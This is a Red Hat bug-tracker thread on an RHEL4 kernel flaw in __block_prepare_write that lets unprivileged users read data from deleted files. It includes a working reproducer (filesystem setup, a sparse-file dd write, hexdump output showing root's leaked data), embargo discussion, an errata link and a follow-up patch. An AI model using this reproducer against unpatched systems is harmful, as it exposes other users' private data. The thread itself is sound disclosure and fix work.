Bug 207463

#uname -r
2.6.9-42.0.2.EL

to reproduce:

gcc -Wall ./open_write.c -o /tmp/open_write
sh ./prep.sh
sh ./info_leack_test.sh

test result:
#sh  /tmp/info_leack_test.sh
stat: cannot stat `/mnt/file': No such file or directory
00000000  53 53 53 53 53 53 53 53  53 53 53 53 53 53 53 53  |SSSSSSSSSSSSSSSS|
*
########## content from unlinked file visible.      ^^^^^^^^^^^^^^^^^^^^^^^^^^^
########## must be zeros here 
00000800  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00001000  6e                                                |n|
00001001

Created attachment 136834 [details]
reproducer testcase

Created attachment 136835 [details]
reproducer preapre script

Created attachment 136836 [details]
reproducer testcase script

an you elaborate a little bit more on this issue. The reproduce needs root
rights to fully work and a root-only information leak is not a security issue.

root permission in this reproducer needs for filesystem preparing only.
then root (or any another user) may write some files, then delete it.
Then any another user have a chance to get content of _any_  previously deleted
files.

please show:

-bash-3.00# cd /tmp
-bash-3.00# ls prepvvs.sh -al
-rw-r--r--  1 root root 653 Sep 22 11:46 prepvvs.sh

-bash-3.00# cat prepvvs.sh
#############
DEV=/tmp/FS_test
MNT=/tmp/mnt
mkdir $MNT

#preparing a filesystem; it should have 1k or 2k blocksize
dd if=/dev/zero of=$DEV bs=1M count=128

mkfs.ext2 -b1024 -m0 -q  -F $DEV
mount $DEV $MNT -oloop

#make filesystem pubic accessible
chmod 777 $MNT

# create private root directory
mkdir $MNT/root
chmod 700 $MNT/root

# write to file top secret data
for(( i = 0; i< 96; i++ ))
        do
                echo "top secret root  file content  " >> $MNT/root/ROOT_FILE
        done
#fill up the filesystem
dd if=/dev/zero of=$MNT/root/BIG bs=1k
sync

#unlink root's file
unlink  $MNT/root/ROOT_FILE
sync
# now filesystem has 3 free data blocks with content of unlinked ROOT_FILE

-bash-3.00# sh ./prepvvs.sh
128+0 records in
128+0 records out
dd: writing `/tmp/mnt/root/BIG': No space left on device
124887+0 records in
124886+0 records out


-bash-3.00# su testuser

[testuser@dmon tmp]$ ls -al ./userscript.sh
-rw-r--r--  1 testuser testuser 218 Sep 22 11:40 ./userscript.sh

[testuser@dmon tmp]$ cat userscript.sh
## create sparse file
dd if=/dev/zero of=/tmp/mnt/userfile seek=4096 count=1 bs=1
## and fill it
dd if=/dev/zero of=/tmp/mnt/userfile bs=4k count=1 conv=notrunc
## now look what we get
hexdump  -C /tmp/mnt/userfile

[testuser@dmon tmp]$ sh ./userscript.sh
1+0 records in
1+0 records out
dd: writing `/tmp/mnt/userfile': No space left on device
1+0 records in
0+0 records out
00000000  74 6f 70 20 73 65 63 72  65 74 20 72 6f 6f 74 20  |top secret root |
00000010  20 66 69 6c 65 20 63 6f  6e 74 65 6e 74 20 20 0a  | file content  .|
00000020  74 6f 70 20 73 65 63 72  65 74 20 72 6f 6f 74 20  |top secret root |
00000030  20 66 69 6c 65 20 63 6f  6e 74 65 6e 74 20 20 0a  | file content  .|
00000040  74 6f 70 20 73 65 63 72  65 74 20 72 6f 6f 74 20  |top secret root |
00000050  20 66 69 6c 65 20 63 6f  6e 74 65 6e 74 20 20 0a  | file content  .|
...
000007a0  74 6f 70 20 73 65 63 72  65 74 20 72 6f 6f 74 20  |top secret root |
000007b0  20 66 69 6c 65 20 63 6f  6e 74 65 6e 74 20 20 0a  | file content  .|
000007c0  74 6f 70 20 73 65 63 72  65 74 20 72 6f 6f 74 20  |top secret root |
000007d0  20 66 69 6c 65 20 63 6f  6e 74 65 6e 74 20 20 0a  | file content  .|
000007e0  74 6f 70 20 73 65 63 72  65 74 20 72 6f 6f 74 20  |top secret root |
000007f0  20 66 69 6c 65 20 63 6f  6e 74 65 6e 74 20 20 0a  | file content  .|
00000800  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00001000  00                                                |.|
00001001

The patch is public since June, 23th 2005, but the security implication is not
wide spreaded. Do you mind keeping this embargoed for 1-2 weeks and me sending
this information (including reproducer) to vendor-sec?

I'm agree,
I would like to add that information may leaks even when user is limited by disk
quota.

Backported patch sent to rhkernel-list on 10/2/06

Eric,
can I take a look at this patch somehow please?
Is it possible to get subscribed to rhkernel-list@? We (Virtuozzo/OpenVZ team)
report bugs to RHEL kernels and could provide much better level of cooperation
and feedback (including patches) having an access to this mailing list. Whom can
I ask for it?

Vasily, if they are security related, I prefer you post the information to
vendor-sec. This allows all distributions to comment on it and I can pick
them up from there.

I spoke with Kir Kolyshkin at IBLOC about it and once I am back, I am going to
write something up. I first have to check what is possible and what not.

committed in stream U5 build 42.19. A test kernel with this patch is available
from http://people.redhat.com/~jbaron/rhel4/

This request was evaluated by Red Hat Product Management for inclusion in a Red
Hat Enterprise Linux maintenance release.  Product Management has requested
further review of this request by Red Hat Engineering, for potential
inclusion in a Red Hat Enterprise Linux Update release for currently deployed
products.  This request is not yet committed for inclusion in an Update
release.

QE ack for 4.5.

committed in stream E5 build 42.0.4

sucessfully tested with the second rendition of the test case (the first didn't
seem to work). no deleted files were visable with the 42.0.6 kernel.

An advisory has been issued which should help the problem
described in this bug report. This report is therefore being
closed with a resolution of ERRATA. For more information
on the solution and/or where to find the updated files,
please follow the link below. You may reopen this bug report
if the solution does not work for you.

http://rhn.redhat.com/errata/RHSA-2007-0014.html

patch you applied is _incorrect_.
Actually __block_prepare_write err path was broken in two places:

A)clear_buffer_new() was called too early and result in information leak. [you
have fixed it.]

B)after get_block has failed original code  jump to "out" label and return
without waiting for issued read requests to complete, and may later unlock page. 
We must just do "break" here, and wait until IO-layer reading complete.
Otherwise later access to page cause unpredictable result, because IO-layer may
modify this page at this moment.
So this place have to looks like this:
=-=-=-=-=-=-=
--- linux-2.6.9/fs/buffer.c.orig
+++ linux-2.6.9/fs/buffer.c
@@ -2029,9 +2029,8 @@ static int __block_prepare_write(struct 
 		if (!buffer_mapped(bh)) {
 			err = get_block(inode, block, bh, 1);
 			if (err)
-				goto out;
+				break;
 			if (buffer_new(bh)) {
-				clear_buffer_new(bh);
 				unmap_underlying_metadata(bh->b_bdev,
 							bh->b_blocknr);
 				if (PageUptodate(page)) {
=-=-=-=-=-=
I haven't sufficient right access, so than let's someone else REOPEN it.

Created attachment 147354 [details]
patch against your lastest public kernel 

This patch fix broken error handling path as it was done in original mainstream
patch. Waiting for issued read requests to complete.

Thanks, I'll look at this today.

Ok, so it looks like we're missing
http://www2.kernel.org/git/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=f3ddbdc6267c32223035ea9bb8456a2d86f65ba1


Fix a race where __block_prepare_write can leak out an in-flight read
against a bh if get_block returns an error.  This can lead to the page
becoming unlocked while the buffer is locked and the read still in flight.
__mpage_writepage BUGs on this condition.

BUG sighted on a 2-way Itanium2 system with 16K PAGE_SIZE running

	fsstress -v -d $DIR/tmp -n 1000 -p 1000 -l 2

where $DIR is a new ext2 filesystem with 4K blocks that is quite
small (causing get_block to fail often with -ENOSPC).

Signed-off-by: Nick Piggin <nickpiggin.au>

This is a regression with an issue solved through an errata. If the fix in the
errata was incomplete, we need to open a new bug for it. Don't re-open this one.

Dmitriy,

It's my understanding that by putting the patch in as we did, we DID fix one
problem case, but still did not fix a 2nd case.  I don't think that we have made
anything -worse- (i.e. the errata patch did not cause a regression) and the case
we missed has been in the RHEL4 kernel since it was released.  I think that this
2nd problem does have some security implications, although it is not as severe
as the problem which was addressed with the first patch.  Do you agree with this
assessment?

Thanks,
-Eric

yes.